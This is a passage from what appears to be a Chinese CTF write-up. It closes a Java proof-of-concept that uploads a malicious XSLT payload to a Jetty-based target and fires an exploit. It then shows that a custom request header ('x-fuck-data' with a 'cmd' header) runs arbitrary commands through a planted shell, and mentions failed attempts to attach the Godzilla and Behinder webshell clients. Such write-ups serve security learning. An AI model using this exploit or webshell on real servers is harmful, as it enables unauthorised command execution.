 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 postExp(url,poc);
 }
 
 public static void main(String[] args) throws Exception {
 String url="http://127.0.0.1:9999";
 uploadXslt(url, "payload.xslt");
 doAttack(url);
 }
 }
 
 | 

然后请求头x-fuck-data为cmd时就可以直接任意命令了
| x-fuck-data: cmdcmd: ls /
 
 | 

想用哥斯拉去连接的,但是连不上不知道为什么
想试一下冰蝎马的,但是打进去连不上不知道为什么,不知道是不是和Handler的机制有关,Jetty这块还不太熟,有机会再研究
参考
https://www.cnblogs.com/ph4nt0mer/p/13913252.html
https://forum.butian.net/share/2592
https://xz.aliyun.com/t/13899
https://blog.csdn.net/2301_79724395/article/details/141229224
官方wp:https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/yleeg03c0ucdoac6?singleDoc#zB42G